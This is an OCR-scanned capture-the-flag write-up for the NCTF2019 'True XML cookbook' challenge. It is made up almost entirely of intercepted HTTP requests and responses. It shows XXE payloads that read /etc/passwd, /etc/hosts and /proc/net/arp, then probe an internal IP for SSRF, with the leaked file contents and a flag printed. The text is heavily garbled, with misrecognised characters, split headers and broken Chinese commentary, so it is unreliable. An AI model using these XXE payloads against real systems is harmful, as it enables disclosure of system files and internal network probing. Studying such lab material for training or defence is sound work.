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POST /doLogin.php HTTRE/L.1

Host:
bETE043c-8152-42e89-82cE-4h9955c79fa3 . node3 . buuoj.cn
Content-Length: 57

Aocept: application/wml, tewxt/xml, */*%: o=0.01
¥-Pequested-With: XMLHttpRequest

Uzser-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd; x&4)
AppleWebKit/537.36 (EHTHML, like Gecko)
Chrome/87.0.4280.88 Safari/537.36

Content-Type: application/xml;charset=UTF-8

Origin:
http://bE87E043c-8152-42e9-
J.cn

Feferer:
http://bE8T7E043c-8152-4229-82
j.cn/

becept-Language: zh-CN, zh;qg=0.9

Cookie:
175e3ddf5£3293-08706c70dA93006-930346c~-144000-17523ddE5s
£4b01;

UM distinctid=l15abb4abel777h-01ble80c8d3c3is-67E£1a3s-1f
a400-15abbh4abc 18907

Connection: close

e

cE-4ph8955c79fa3 . nodel . buuo

E-4189855c79fa3 . node3 Jbuuo

<userr<usernamera</username><passwordra</passwords</us
er>

N
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TN TR & payload:



xml version
DOCTYPE hacker|[
ENTITY a SYSTEM

encoding

user

password>a

username>aa; username password

AT LA F (8] 2.

POST /doLogin.php HTTE/Ll.1

Host:
LETE0430-8152-4229-82cE-4b9955079Ea3 . node3 Jbuuocj.on
Content-Length: 1£4

Aocept: application/xml, text/=xml, */*; g=0.01
¥-Pecquested-With: XMLHttpRequest

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4)
AppleWebKit/537.36 (EKHTHML, like Gecko)
Chrome/87.0.4280.88 Safari/537.36

Content-Type: application/xml;charset=UTF-2

Origin:
http://b876043¢c-8152-42e9-82cE-4h9955c79fa3 . node3 . buuo
J.cn

Referer:
http://hE760430-8152-42e9-82cE-4h9955079fa3 . node3 . bhuuo
j.en/

Aocept-Languages: zh-CH, zh:g=0.9

Cookie:

17523 f5£3293-08706c70dA93006-9303460-144000-17523clc1£5
£4kL01;

TN _distinctid=l5abb4abcl?77h-01lblef0c8d3c3g-E7£1la3s-11
a400-15abb4abcl858L7

Connection: close

<?xml wversion="1.0" encoding="utf-8"2:>

< !DOCTYPE hacker[

< !ENTITY a SYSTEM "file:///etc/passwd":=

1=
<userr<usernames &a; </ usernames><passwvord=a</passvords</
user>

PIARE VAN
XA — D RAET B, xxe L SR LAHISRAT W IR
AT E 1. letc/hosts H1 Iproc/net/arp.

payload:

xml version
DOCTYPE hacker|[
ENTITY a SYSTEM

encoding

user><username>a&a; username password =] password

xml version
DOCTYPE hacker[
ENTITY a SYSTEM

encoding

user><username>aa; username password

password>a

L

HTTEF/1l.l 200 CK

Server: openresty

Date: Tue, 29 Dec Z0ZI0 13:42:24 GHMT
Content-Type: text/html; charset=utf-§
Content-Length: 9&8

Connection: close

Vary: Accept-Encoding

¥-Powered-Bv: PHP/7.4.0RCE

<resultr<code>0</code><msg>root:x:0:0: root: froot: fbin
[/bash
daemon:x:1:1:daemon: fusrfshin: fusr/shin/noloygin
bhin:x:2:2:bhin: fbin: fusr/shin/nologin
sys:x:3:3:sys: fdev: /usrfshin/nologin
sync:x:4:65534:sync: fbin: /binfsync
games:x:5:60:games: fusr/games: fusr/shin/nologin
man:x:6:12:man: /var fcache /man: fusr/shin/nologin
Ap:x:7:7:1p: fvar/spool/lpd: fusr/shin/nologin
mail:x:8:8:mail: fvar/mail: fusr/shin/nologin
news:x:9%:9:news: /var fspool/news: fusr/shin/noelogin
uucp:x:10:10;:uucp: fvar/spoolfuucp: fusr/shin/nologin
proxy:x:13:13:proxy: fbin: fusr/shin/nologin
www-data:x:33:33:www-data: fvar/fwww: fusr/shin/nologin
backup:x:34:34:backup: fvar fbackups: fusr/shin/nologin
list:x:38:38:Mailing List

Manager: fvar/list: /usr/shin/nologin
irc:x:39:39%:ired: fvarfrunfircd: fusr/shin/nologin
gnats:x:41:41:6nats Bug-BReporting System

(admin) : fvarflib/gnats: fusr/shin/nologin
nobody:x:65534:65534 :nobody: fnonexistent : fusrfsbin/nol
ogin
_apt:x:100:65534: : /fnonexistent : fusr/shin/nologin
</msgr</result>
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POST /doLogin.php HTTP/L.1 " HTTF/1l.1l Z00 OE "
Host: P Server: openresty P
BETE043c-8152-42e9-82cé-4b9955c79fal . node3 .buucj.cn Date: Tue, 29 Dec Z0IZ0 L13:44:50 GMT

Content-Length: LE3

Aocept: application/xml, text/zml, */*;
X-Bequested-With: XHNLHttpRedquest
User—Agent: Mozilla/5.0 (Windows NT 10.0;
AppleWebEit/537.36 (EHTML, like Gecko)
Chroms/87.0.4280.88 Safari/537.36
Content-Type: application/xml;charset=UTF-2

Origin:
http://bE7E043¢-8152-42e9-820F—-4h95955c79fa3 . node3 . buuo
j.en

Referer:
http://bE7E043¢-8152-42e9-820F—-4h95955c79fa3 . node3 . buuo
j.en/
Legept-Language :
Coockie:
175e3ddf5£3293-08706c70d93006-930346c-144000-17523ddES
£4101;

UM distinctid=15abb4abcl777b-01b1eB0c8d3c38-67f1a3s-11f
ad00-15abb4abe LESL7T

Connection: close

q=0.01

Wined; =£4)

zh-CHN, zh: q=0.59

<?xml wversion="1.0" encoding="utf-g8"7>

<!DOCTYPE hacker[

<IENTITY a SYSTEM "file:///etc/hosts">

1=
<user><username>La; </ usernams><passvord=a</ passwords></
users|

Content-Type:

text/html; charset=utf-g§

Content-Length: 192

Connection:

close

Vary: Accept-Encoding
¥-Powered-By: PHF/7.4.0RCE

<results<code>0</code><msg>127.0.0.1

localhost

i:1 localhost ip6-localhost ip6-loopback
fedl: :0 ip6-localnet

£fO0: :0 ip6-mcastprefix

£f02::1 ip6-allnodes

£f02::2 ip6-allrouters

</msg=</results




s " L L . L _ L 1 1 .
POST /doLogin.php HTTP/L.1 2 HTTF/Ll.l 200 QK 2
Host: P Server: openresty P

LE7e043c-8152-4229-82cE-4bh9955c79fa3 . node3 .buuoc]j.cn
Content-Length: 1&g

Aoccept: application/xml, text/xml, */*; ¢g=0.01
¥-Pequested-With: XMLHttpReguest

Uger-Agent: Mozilla/5.0 (Windows NT 10.0:; Wing&4;
AppleWebEit/537.36 (EHTHML, like Gecko)
Chrome/27.0.4280.88 Safari/537.36

Content-Type: application/xml;charset=UTF-2
Origin:
http://hBTE043¢c-B152-4229-82cE-4b9955c759fa3 . node3 .buuo
j.cn

Referer:
http://b876043c-8152-4229-82c6-4h8955079fa3 . node3 . buuo
j.en/
Aocept-Languags:
Cockie:
175e3ddf5£3293-08706c70cd93006-930346c-144000-17523ddEs
£4L01;

UM distinctid=15abb4abcl777b-01kb1le80c9d3c389-711a3s-1¢f
a400-15akh4dabe 1887

Connection: close

xE4)

zh-CH, zh:;qgq=0.9

<?xml wversion="1.0" encoding="utf-g"7>

< !DOCTYPE hacker[

< !ENTITY a SYSTEM "file:///proc/net/arp™s>

1>
<userr<username>La; </ usernamer<passwvordsa</passwords</
user:

&7 —AMNEHIP, B

xml version
DOCTYPE hacker|[
ENTITY a SYSTEM

encoding

user><username>a&a; username

password>a

password

Date: Tues, I9 Dec 20IZ0 13:45:14 GMT

Content-Type: text/html; charsst=utf-8

Content-Length: 1598
Connection: close

Vary: Accept-Encoding
¥-Powered-By: PHP/7.4.0RCE

<results><code>0</code><msg>IP address

Flags HW address
10.106.213.2 0x1 0x2
02:4280a:6a:d5:02 * etho
</msgik/results|

HW type

MHask Device




i | | | | 1 _ |

03T /doLogin.php HTTE/L.1 i HTTF/Ll.1 200 OK

Iost: P Server: openresty
287e0430-8152-42e9-82cE—-4h9955c789fa3 . node3 . buuoj.on Date: Tue, 29 Dec 2020 1l3:48:35 GMT

Content-Length: 1E&
leccept: application/xml, text/xml,
{—Pequested-With: XMLHttpRequest

®/*: =0.01

Jzer-LAgent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&4)
LppleWeh¥it/537.36 (KEHTHML, like Gecko)
hrome/87.0.4280.88 Safari/537.36

lontent-Type: application/xml;charsec=UTF-2

Jrigin:
attp://hBT7E043c-8152-42e5-82cE-4h9955c79fa3 . node3 .buuo
j.cn

leferer:
attp://hETEN43c-8152-42e5-82cE-4h58955c75fa3 . node3 .buuo
j.cn/

Loecept-Lancguage: zh-CI, zh;gq=0.9

Cookie:
17523ddf5£3293-08706c70d93006-9303460-144000- 17523 cldfS
E4bO1;

M _distinctid=15abb4abcl777b-01ble80c8d3c39-67E1a35-11F
1400~ 15abb4abc 185E7
Zonnection: close

£?xml version="1.0" encoding="utf-S"7=

<!DOCTYPE hackesr[

2!ENTITY a SYSTEM "http://10.106.213.2/">

| =
fuserr<usernams>La; </ username><passvordra</ passwords></
1sers

EEARAE, ABRAR, BATaT 1T CB

—1 L L L L

Content-Type: text/html; charset=UTF-8
Content-Length: 1030

Connection: close

Vary: Accept-Encoding

¥-Powered-EBy: PHPE/7.4.0RCE

<br />

<pbs>Warning</h>:

DOMDocument : : load¥ML(http:/f/10.106.213.2/): failed

to open stream: Connection refused in

<b=fvar fwww/html/doLogin.php</b> en line

<b>16</h><hr />

<br />

<b>Warning</b>: DOMDocument: :load¥ML():
failed to load external entity

Egquot http:/f10.106.213.2/kgquot; in

<b>fvar fwww/html/doLogin.php</b> on line

<hb>16</br<br />

<br />

<b>Warning<,/b>: DOMDocument: :load¥XML() :

process entity a in Entity, line: 5 in

<hsfvar fvww/html/doLogin. php</b> on line

<hb>16</h><hr />

<br />

I/0 warning

Failure to

<b>Warning</hb>: DOMDocument::load¥XML(): Entity 'a'
not defined in Entity, line: 5 in

<bs fvar fwwwfhtml/doLogin.php</b> on line
<b>16</h><hr />

<hbr [

<b>Warning</b>: simplexml import dom(): Invalid

Hodetype to import in

<b>fvar fwww/html/doLogin.php</b> on line
<hb>1T</b><br />

<br />

<b>*Warning</b>: Cannot modify header information -
headers already sent by (output started at

Jvar fwww/html/doLogin.php:16) in

<h>fvar fvww/html/doLogin.php</b> on line
<h>31</he<hr />
<result:<code>0</code><msgs</msg></result>

HTTF/1l.l Z00 OK

SEerver: Openresty

Date: Tue, 29 Dec Z0Z0 13:47:35 GHT
Content-Type: text/html;
Content-Length: 54
Connection: close

Vary: Accept-Encoding
¥-Powered-By: PHPF/7.4.0RCE

EREEE I
R

xml version
DOCTYPE hacker[
ENTITY a SYSTEM

encoding

user><username>aa; username password a password

charset=ucf-8

user

<resultr<code»l</coder<msgrflag{8balsf22-2T7a8-43de-8afd-8fdeefefThdec}</msg=</resule>




xxeyFE N\t
xxe P R

(REFUEIE, k2]



	[NCTF2019]True XML cookbook Writeup

